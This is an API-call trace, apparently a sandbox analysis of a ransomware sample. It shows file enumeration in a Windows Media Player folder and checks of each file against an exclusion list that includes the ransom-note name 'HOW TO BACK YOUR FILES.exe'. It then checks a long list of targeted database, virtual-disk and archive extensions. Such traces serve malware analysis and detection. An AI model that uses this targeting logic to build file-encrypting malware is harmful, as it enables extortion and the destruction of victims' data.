	[0062.286] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3264f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3264f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.286] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.286] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="..") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="windows") returned -1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="bootmgr") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="temp") returned -1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="pagefile.sys") returned -1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ids.txt") returned 1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntuser.dat") returned -1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="perflogs") returned -1
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="MSBuild") returned -1
	[0062.286] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0062.286] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US\\*") returned 45
	[0062.286] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="mpvis.dll.mui" | out: lpString1="mpvis.dll.mui") returned="mpvis.dll.mui"
	[0062.286] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0062.286] lstrlenW (lpString="Apollon865") returned 10
	[0062.286] lstrcmpiW (lpString1="is.dll.mui", lpString2="Apollon865") returned 1
	[0062.286] lstrlenW (lpString=".dll") returned 4
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".dll") returned 1
	[0062.286] lstrlenW (lpString=".lnk") returned 4
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".lnk") returned 1
	[0062.286] lstrlenW (lpString=".ini") returned 4
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".ini") returned 1
	[0062.286] lstrlenW (lpString=".sys") returned 4
	[0062.286] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".sys") returned 1
	[0062.286] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0062.286] lstrlenW (lpString="bak") returned 3
	[0062.286] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0062.287] lstrlenW (lpString="ba_") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0062.287] lstrlenW (lpString="dbb") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0062.287] lstrlenW (lpString="vmdk") returned 4
	[0062.287] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0062.287] lstrlenW (lpString="rar") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0062.287] lstrlenW (lpString="zip") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0062.287] lstrlenW (lpString="tgz") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0062.287] lstrlenW (lpString="vbox") returned 4
	[0062.287] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0062.287] lstrlenW (lpString="vdi") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0062.287] lstrlenW (lpString="vhd") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0062.287] lstrlenW (lpString="vhdx") returned 4
	[0062.287] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0062.287] lstrlenW (lpString="avhd") returned 4
	[0062.287] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0062.287] lstrlenW (lpString="db") returned 2
	[0062.287] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0062.287] lstrlenW (lpString="db2") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0062.287] lstrlenW (lpString="db3") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0062.287] lstrlenW (lpString="dbf") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0062.287] lstrlenW (lpString="mdf") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0062.287] lstrlenW (lpString="mdb") returned 3
	[0062.287] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0062.287] lstrlenW (lpString="sql") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0062.288] lstrlenW (lpString="sqlite") returned 6
	[0062.288] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1
	[0062.288] lstrlenW (lpString="sqlite3") returned 7
	[0062.288] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1
	[0062.288] lstrlenW (lpString="sqlitedb") returned 8
	[0062.288] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1
	[0062.288] lstrlenW (lpString="xml") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0062.288] lstrlenW (lpString="$er") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0062.288] lstrlenW (lpString="4dd") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0062.288] lstrlenW (lpString="4dl") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0062.288] lstrlenW (lpString="^^^") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0062.288] lstrlenW (lpString="abs") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0062.288] lstrlenW (lpString="abx") returned 3
	[0062.288] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0062.288] lstrlenW (lpString="accdb") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1
	[0062.288] lstrlenW (lpString="accdc") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1
	[0062.288] lstrlenW (lpString="accde") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1
	[0062.288] lstrlenW (lpString="accdr") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1
	[0062.288] lstrlenW (lpString="accdt") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1
	[0062.288] lstrlenW (lpString="accdw") returned 5
	[0062.288] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1
	[0062.288] lstrlenW (lpString="accft") returned 5
	[0062.289] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1
	[0062.289] lstrlenW (lpString="adb") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0062.289] lstrlenW (lpString="adb") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0062.289] lstrlenW (lpString="ade") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0062.289] lstrlenW (lpString="adf") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0062.289] lstrlenW (lpString="adn") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0062.289] lstrlenW (lpString="adp") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0062.289] lstrlenW (lpString="alf") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0062.289] lstrlenW (lpString="ask") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0062.289] lstrlenW (lpString="btr") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0062.289] lstrlenW (lpString="cat") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0062.289] lstrlenW (lpString="cdb") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0062.289] lstrlenW (lpString="ckp") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0062.289] lstrlenW (lpString="cma") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0062.289] lstrlenW (lpString="cpd") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0062.289] lstrlenW (lpString="dacpac") returned 6
	[0062.289] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1
	[0062.289] lstrlenW (lpString="dad") returned 3
	[0062.289] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0062.290] lstrlenW (lpString="dadiagrams") returned 10
	[0062.290] lstrcmpiW (lpString1="is.dll.mui", lpString2="dadiagrams") returned 1
	[0062.290] lstrlenW (lpString="daschema") returned 8
	[0062.290] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1
	[0062.290] lstrlenW (lpString="db-journal") returned 10
	[0062.290] lstrcmpiW (lpString1="is.dll.mui", lpString2="db-journal") returned 1
	[0062.290] lstrlenW (lpString="db-shm") returned 6
	[0062.290] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1
	[0062.290] lstrlenW (lpString="db-wal") returned 6
	[0062.290] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1
	[0062.290] lstrlenW (lpString="dbc") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0062.290] lstrlenW (lpString="dbs") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0062.290] lstrlenW (lpString="dbt") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0062.290] lstrlenW (lpString="dbv") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0062.290] lstrlenW (lpString="dbx") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0062.290] lstrlenW (lpString="dcb") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0062.290] lstrlenW (lpString="dct") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1
	[0062.290] lstrlenW (lpString="dcx") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1
	[0062.290] lstrlenW (lpString="ddl") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1
	[0062.290] lstrlenW (lpString="dlis") returned 4
	[0062.290] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1
	[0062.290] lstrlenW (lpString="dp1") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1
	[0062.290] lstrlenW (lpString="dqy") returned 3
	[0062.290] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1
	[0062.291] lstrlenW (lpString="dsk") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1
	[0062.291] lstrlenW (lpString="dsn") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1
	[0062.291] lstrlenW (lpString="dtsx") returned 4
	[0062.291] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1
	[0062.291] lstrlenW (lpString="dxl") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1
	[0062.291] lstrlenW (lpString="eco") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1
	[0062.291] lstrlenW (lpString="ecx") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1
	[0062.291] lstrlenW (lpString="edb") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1
	[0062.291] lstrlenW (lpString="epim") returned 4
	[0062.291] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1
	[0062.291] lstrlenW (lpString="fcd") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1
	[0062.291] lstrlenW (lpString="fdb") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1
	[0062.291] lstrlenW (lpString="fic") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1
	[0062.291] lstrlenW (lpString="flexolibrary") returned 12
	[0062.291] lstrcmpiW (lpString1="pvis.dll.mui", lpString2="flexolibrary") returned 1
	[0062.291] lstrlenW (lpString="fm5") returned 3
	[0062.291] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1
	[0062.292] lstrlenW (lpString="fmp") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1
	[0062.292] lstrlenW (lpString="fmp12") returned 5
	[0062.292] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1
	[0062.292] lstrlenW (lpString="fmpsl") returned 5
	[0062.292] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1
	[0062.292] lstrlenW (lpString="fol") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1
	[0062.292] lstrlenW (lpString="fp3") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1
	[0062.292] lstrlenW (lpString="fp4") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1
	[0062.292] lstrlenW (lpString="fp5") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1
	[0062.292] lstrlenW (lpString="fp7") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1
	[0062.292] lstrlenW (lpString="fpt") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1
	[0062.292] lstrlenW (lpString="frm") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1
	[0062.292] lstrlenW (lpString="gdb") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0062.292] lstrlenW (lpString="gdb") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0062.292] lstrlenW (lpString="grdb") returned 4
	[0062.292] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1
	[0062.292] lstrlenW (lpString="gwi") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1
	[0062.292] lstrlenW (lpString="hdb") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1
	[0062.292] lstrlenW (lpString="his") returned 3
	[0062.292] lstrcmpiW (lpString1="mui", lpString2="his") returned 1
	[0062.293] lstrlenW (lpString="ib") returned 2
	[0062.293] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1
	[0062.293] lstrlenW (lpString="idb") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1
	[0062.293] lstrlenW (lpString="ihx") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1
	[0062.293] lstrlenW (lpString="itdb") returned 4
	[0062.293] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1
	[0062.293] lstrlenW (lpString="itw") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1
	[0062.293] lstrlenW (lpString="jet") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1
	[0062.293] lstrlenW (lpString="jtx") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1
	[0062.293] lstrlenW (lpString="kdb") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1
	[0062.293] lstrlenW (lpString="kexi") returned 4
	[0062.293] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1
	[0062.293] lstrlenW (lpString="kexic") returned 5
	[0062.293] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1
	[0062.293] lstrlenW (lpString="kexis") returned 5
	[0062.293] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1
	[0062.293] lstrlenW (lpString="lgc") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1
	[0062.293] lstrlenW (lpString="lwx") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1
	[0062.293] lstrlenW (lpString="maf") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1
	[0062.293] lstrlenW (lpString="maq") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1
	[0062.293] lstrlenW (lpString="mar") returned 3
	[0062.293] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1
	[0062.293] lstrlenW (lpString="marshal") returned 7
	[0062.293] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1
	[0062.294] lstrlenW (lpString="mas") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1
	[0062.294] lstrlenW (lpString="mav") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1
	[0062.294] lstrlenW (lpString="maw") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1
	[0062.294] lstrlenW (lpString="mdbhtml") returned 7
	[0062.294] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1
	[0062.294] lstrlenW (lpString="mdn") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1
	[0062.294] lstrlenW (lpString="mdt") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1
	[0062.294] lstrlenW (lpString="mfd") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1
	[0062.294] lstrlenW (lpString="mpd") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1
	[0062.294] lstrlenW (lpString="mrg") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1
	[0062.294] lstrlenW (lpString="mud") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1
	[0062.294] lstrlenW (lpString="mwb") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1
	[0062.294] lstrlenW (lpString="myd") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1
	[0062.294] lstrlenW (lpString="ndf") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1
	[0062.294] lstrlenW (lpString="nnt") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1
	[0062.294] lstrlenW (lpString="nrmlib") returned 6
	[0062.294] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1
	[0062.294] lstrlenW (lpString="ns2") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1
	[0062.294] lstrlenW (lpString="ns3") returned 3
	[0062.294] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1
	[0062.294] lstrlenW (lpString="ns4") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1
	[0062.295] lstrlenW (lpString="nsf") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1
	[0062.295] lstrlenW (lpString="nv") returned 2
	[0062.295] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1
	[0062.295] lstrlenW (lpString="nv2") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1
	[0062.295] lstrlenW (lpString="nwdb") returned 4
	[0062.295] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1
	[0062.295] lstrlenW (lpString="nyf") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1
	[0062.295] lstrlenW (lpString="odb") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0062.295] lstrlenW (lpString="odb") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0062.295] lstrlenW (lpString="oqy") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1
	[0062.295] lstrlenW (lpString="ora") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1
	[0062.295] lstrlenW (lpString="orx") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1
	[0062.295] lstrlenW (lpString="owc") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1
	[0062.295] lstrlenW (lpString="p96") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1
	[0062.295] lstrlenW (lpString="p97") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1
	[0062.295] lstrlenW (lpString="pan") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1
	[0062.295] lstrlenW (lpString="pdb") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1
	[0062.295] lstrlenW (lpString="pdm") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1
	[0062.295] lstrlenW (lpString="pnz") returned 3
	[0062.295] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1
	[0062.296] lstrlenW (lpString="qry") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1
	[0062.296] lstrlenW (lpString="qvd") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1
	[0062.296] lstrlenW (lpString="rbf") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1
	[0062.296] lstrlenW (lpString="rctd") returned 4
	[0062.296] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1
	[0062.296] lstrlenW (lpString="rod") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1
	[0062.296] lstrlenW (lpString="rodx") returned 4
	[0062.296] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1
	[0062.296] lstrlenW (lpString="rpd") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1
	[0062.296] lstrlenW (lpString="rsd") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1
	[0062.296] lstrlenW (lpString="sas7bdat") returned 8
	[0062.296] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1
	[0062.296] lstrlenW (lpString="sbf") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1
	[0062.296] lstrlenW (lpString="scx") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1
	[0062.296] lstrlenW (lpString="sdb") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1
	[0062.296] lstrlenW (lpString="sdc") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1
	[0062.296] lstrlenW (lpString="sdf") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1
	[0062.296] lstrlenW (lpString="sis") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1
	[0062.296] lstrlenW (lpString="spq") returned 3
	[0062.296] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1
	[0062.296] lstrlenW (lpString="te") returned 2
	[0062.296] lstrcmpiW (lpString1="ui", lpString2="te") returned 1
	[0062.296] lstrlenW (lpString="teacher") returned 7
	[0062.297] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1
	[0062.297] lstrlenW (lpString="tmd") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1
	[0062.297] lstrlenW (lpString="tps") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1
	[0062.297] lstrlenW (lpString="trc") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0062.297] lstrlenW (lpString="trc") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0062.297] lstrlenW (lpString="trm") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1
	[0062.297] lstrlenW (lpString="udb") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1
	[0062.297] lstrlenW (lpString="udl") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1
	[0062.297] lstrlenW (lpString="usr") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1
	[0062.297] lstrlenW (lpString="v12") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1
	[0062.297] lstrlenW (lpString="vis") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1
	[0062.297] lstrlenW (lpString="vpd") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1
	[0062.297] lstrlenW (lpString="vvv") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1
	[0062.297] lstrlenW (lpString="wdb") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1
	[0062.297] lstrlenW (lpString="wmdb") returned 4
	[0062.297] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1
	[0062.297] lstrlenW (lpString="wrk") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1
	[0062.297] lstrlenW (lpString="xdb") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1
	[0062.297] lstrlenW (lpString="xld") returned 3
	[0062.297] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1
	[0062.298] lstrlenW (lpString="xmlff") returned 5
	[0062.298] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1
	[0062.298] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="windows") returned -1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="bootmgr") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="temp") returned -1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="pagefile.sys") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ids.txt") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntuser.dat") returned 1
	[0062.298] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="perflogs") returned 1
